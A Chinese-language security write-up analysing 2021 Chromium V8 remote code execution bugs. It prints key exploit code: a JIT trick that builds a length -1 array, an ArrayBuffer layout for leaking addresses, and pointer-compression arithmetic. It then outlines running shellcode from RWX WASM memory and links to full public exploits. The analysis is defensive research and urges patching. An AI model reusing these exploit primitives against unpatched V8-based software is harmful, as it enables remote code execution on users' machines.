作者:frust
原文鏈接:http://noahblog.#/chromium_v8_remote_code_execution_vulnerability_analysis/
0x01-概述
2021年4月13日,安全研究人員Rajvardhan Agarwal在推特公布了本周第一個遠程代碼執行(RCE)的0Day漏洞,該漏洞可在當前版本(89.0.4389.114)的谷歌Chrome瀏覽器上成功觸發。Agarwal公布的漏洞,是基于Chromium內核的瀏覽器中V8 JavaScript引擎的遠程代碼執行漏洞,同時還發布了該漏洞的PoC。
2021年4月14日,360高級攻防實驗室安全研究員frust公布了本周第二個Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc視頻驗證。該漏洞會影響當前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的瀏覽器。
Chrome瀏覽器沙盒可以攔截該漏洞。但如果該漏洞與其他漏洞進行組合,就有可能繞過Chrome沙盒。
0x02-漏洞PoC
目前四個漏洞issue 1126249、issue 1150649、issue 1196683、issue 1195777的exp均使用同一繞過緩解措施手法(截至文章發布,后兩個issue尚未公開),具體細節可參考文章。
基本思路是創建一個數組,然后調用shift函數構造length為-1的數組,從而實現相對任意地址讀寫。issue 1196683中關鍵利用代碼如下所示。
function foo(a) {
......
if(x==-1) x = 0;
var arr = new Array(x);//---------------------->構造length為-1數組
arr.shift();
......
}
issue 1195777中關鍵利用代碼如下所示:
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->構造length為-1數組
arr.shift();
let local_arr = Array(2);
......
}
參考issue 1126249和issue 1150649中關鍵poc代碼如下所示,其緩解繞過可能使用同一方法。
//1126249
function jit_func(a) {
.....
v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
let v51206 = new Array(v5568);
v51206.shift();
Array.prototype.unshift.call(v51206);
v51206.shift();
.....
}
//1150649
function jit_func(a, b) {
......
v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
if (b) {
v56971 = 0;
}
v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
v129341.shift();
v4951241 = {};
v129341.shift();
......
}
國內知名研究員gengming和@dydhh1推特發文將在zer0pwn會議發表議題講解CVE-2020-1604[0|1]講過如何繞過緩解機制。本文在此不再贅述。
frust在youtube給出了Chrome89.0.4389.114的poc視頻驗證;經測試最新版Chrome 90.0.4430.72仍舊存在該漏洞。
0x03-exp關鍵代碼
exp關鍵代碼如下所示。
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;//進行地址泄露
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//構造長度為-1的數組
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//
arr[0] = 0x1122;//修改數組長度
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
通過代碼Array(Math.sign(0 - Math.max(0, x, -1)))創建一個length為-1的數組,然后使用LeakArrayBuffer構造內存布局,將相對讀寫布局成絕對讀寫。
這里需要說明的是,由于chrome80以上版本啟用了地址壓縮,地址高4個字節,可以在構造的array后面的固定偏移找到。
先將corrupt_buffer的地址泄露,然后如下計算地址
(corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
可以計算出高4字節。
同時結合0x02步驟中實現的相對讀寫和對象泄露,可實現絕對地址讀寫。@r4j0x00在issue 1196683中構造length為-1數組后,則通過偽造對象實現任意地址讀寫。

之后,由于WASM內存具有RWX權限,因此可以將shellcode拷貝到WASM所在內存,實現任意代碼執行。
具體細節參考exp。
該漏洞目前已修復。

0x04-小結
嚴格來說,此次研究人員公開的兩個漏洞并非0day,相關漏洞在最新的V8版本中已修復,但在公開時并未merge到最新版chrome中。由于Chrome自身擁有沙箱保護,該漏洞在沙箱內無法被成功利用,一般情況下,仍然需要配合提權或沙箱逃逸漏洞才行達到沙箱外代碼執行的目的。但是,其他不少基于v8等組件的app(包括安卓),尤其是未開啟沙箱保護的軟件,仍具有潛在安全風險。
漏洞修復和應用代碼修復之間的窗口期為攻擊者提供了可乘之機。Chrome尚且如此,其他依賴v8等組件的APP更不必說,使用1 day甚至 N day即可實現0 day效果。這也為我們敲響警鐘,不僅僅是安全研究,作為應用開發者,也應當關注組件漏洞并及時修復,避免攻擊者趁虛而入。
我們在此也敦促各大軟件廠商、終端用戶、監管機構等及時采取更新、防范措施;使用Chrome的用戶需及時更新,使用其他Chrome內核瀏覽器的用戶則需要提高安全意識,防范攻擊。
參考鏈接
https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971
https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645
https://bugs.chromium.org/p/chromium/issues/detail?id=1126249
https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html
https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1557/
暫無評論